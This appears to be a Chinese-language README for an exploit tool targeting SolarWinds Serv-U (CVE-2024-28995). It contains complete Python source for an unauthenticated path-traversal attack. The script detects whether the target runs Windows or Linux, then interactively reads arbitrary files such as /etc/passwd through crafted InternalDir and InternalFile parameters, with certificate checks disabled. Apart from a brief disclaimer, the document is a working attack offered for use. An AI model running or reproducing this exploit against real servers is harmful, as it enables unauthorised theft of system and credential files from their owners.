SolarWinds Serv-U 路径遍历漏洞利用工具 (CVE-2024-28995)
功能特性
- 自动系统识别:自动检测目标服务器操作系统类型(Windows/Linux)
- 未认证文件读取:利用目录遍历漏洞读取目标服务器上的任意文件
- 交互式文件提取:成功检测漏洞后,支持交互式输入文件路径进行内容获取
- 多协议支持:针对 Windows 和 Linux 系统分别构造不同的路径遍历载荷
- SSL 忽略验证:内置 HTTPS 证书验证忽略选项,方便测试自签名证书环境
安装指南
系统要求
- Python 3.6 或更高版本
- 网络连接(用于访问目标服务器)
依赖安装
本项目仅依赖 requests 库。使用以下命令安装:
pip install requests
克隆与使用
git clone https://github.com/your-repo/CVE-2024-28995-SolarWinds-Serv-U.git
cd CVE-2024-28995-SolarWinds-Serv-U
使用说明
基础用法
python exploit.py -u <目标URL>
示例
python exploit.py -u https://127.0.0.1/
使用流程
- 运行脚本后,工具会自动检测目标是否存在漏洞并识别操作系统
- 如果目标存在漏洞,将进入交互式文件提取模式
- 根据提示输入要读取的文件路径:
-
Windows 系统示例:
/windows/win.ini -
Linux 系统示例:
\etc\passwd
-
Windows 系统示例:
- 工具将返回文件内容并等待下一次输入(按
Ctrl+C退出)
漏洞检测逻辑
-
Windows 系统:尝试读取
C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt,响应中包含Windows Server特征字符串 -
Linux 系统:尝试读取
/etc/passwd,响应中包含root特征字符串
API 概览
| 函数 | 描述 |
|---|---|
ascii() |
打印工具 Banner |
exploit(targetURL) |
检测目标漏洞并识别系统类型 |
getWinFile(targetURL) |
Windows 系统下交互式读取文件 |
getLinFile(targetURL) |
Linux 系统下交互式读取文件 |
main() |
解析命令行参数并启动利用流程 |
核心代码
漏洞检测与系统识别
def exploit(targetURL):
scanWin = "?InternalDir=/../../../../../ProgramData/RhinoSoft/Serv-U&InternalFile=Serv-U-StartupLog.txt"
scanLin = "?InternalDir=\\..\\..\\..\\..\\..\\etc&InternalFile=passwd"
finalURLWin = targetURL + scanWin
finalURLLin = targetURL + scanLin
print("\033[92m[+] Checking the target \033[0m")
try:
# Windows 系统检测
response = requests.get(finalURLWin, verify=False, timeout=10)
if "Windows Server" in response.text:
print("\033[92mTarget is vulnerable and is a Windows System!! \033[0m \n")
getWinFile(targetURL)
return
# Linux 系统检测
response = requests.get(finalURLLin, verify=False, timeout=10)
if "root" in response.text:
print("\033[92mTarget is vulnerable and is a Linux System!! \033[0m \n")
getLinFile(targetURL)
return
print("\033[91mTarget might not be vulnerable...\033[0m")
except Exception as e:
sys.exit(f"Some error occured: {e}")
Windows 系统文件读取
def getWinFile(targetURL):
try:
while True:
filePathWin = input("\033[92mEnter the path of the file to be extracted(Ex: /windows/win.ini): \033[0m \n")
# 正则提取文件路径和文件名
pattern = r'^(.*)/([^/]+)$'
match = re.match(pattern, filePathWin)
if match:
file_path = match.group(1)
file_name = match.group(2)
try:
fetchURLWin = targetURL + f"?InternalDir=/../../../../..{file_path}&InternalFile={file_name}"
response = requests.get(fetchURLWin, verify=False, timeout=10)
print(response.text)
except requests.RequestException as e:
print(f"\033[91m[!] Some error occurred or the file does not exist {e}\033[0m")
except KeyboardInterrupt:
sys.exit("\n\033[91mOperation Aborted\033[0m")
Linux 系统文件读取
def getLinFile(targetURL):
try:
while True:
filePathLin = input("\033[92mEnter the path of the file to be extracted(Ex: \etc\passwd): \033[0m \n")
# 正则提取文件路径和文件名
pattern = r'\\(.+?)\\([^\\]+)$'
match = re.match(pattern, filePathLin)
if match:
file_path = match.group(1)
file_name = match.group(2)
try:
fetchURLLin = targetURL + f"?InternalDir=\\..\\..\\..\\..\\..\\{file_path}&InternalFile={file_name}"
response = requests.get(fetchURLLin, verify=False, timeout=10)
print(response.text)
except requests.RequestException as e:
print(f"\033[91m[!] Some error occurred or the file does not exist {e}\033[0m")
except KeyboardInterrupt:
sys.exit("\n\033[91mOperation Aborted\033[0m")
主程序入口
def main():
parser = argparse.ArgumentParser(description="CVE-2024-28995")
parser.add_argument("-u", '--targetURL', required=True, help="The target URL")
args = parser.parse_args()
try:
ascii()
return(exploit(args.targetURL))
except Exception as e:
sys.exit(f"Some error occured: {e}")
if __name__ == "__main__":
main()
免责声明:本工具仅限教育研究和授权测试使用。未经授权的使用属于非法行为,使用者需自行承担一切法律责任。
6HFtX5dABrKlqXeO5PUv/6RdK5ndkCWGcymgJgQXHidRRFSA0HnlLJkpCzfeabk2sofDYHNtFyd/hfV0Fzdbmg==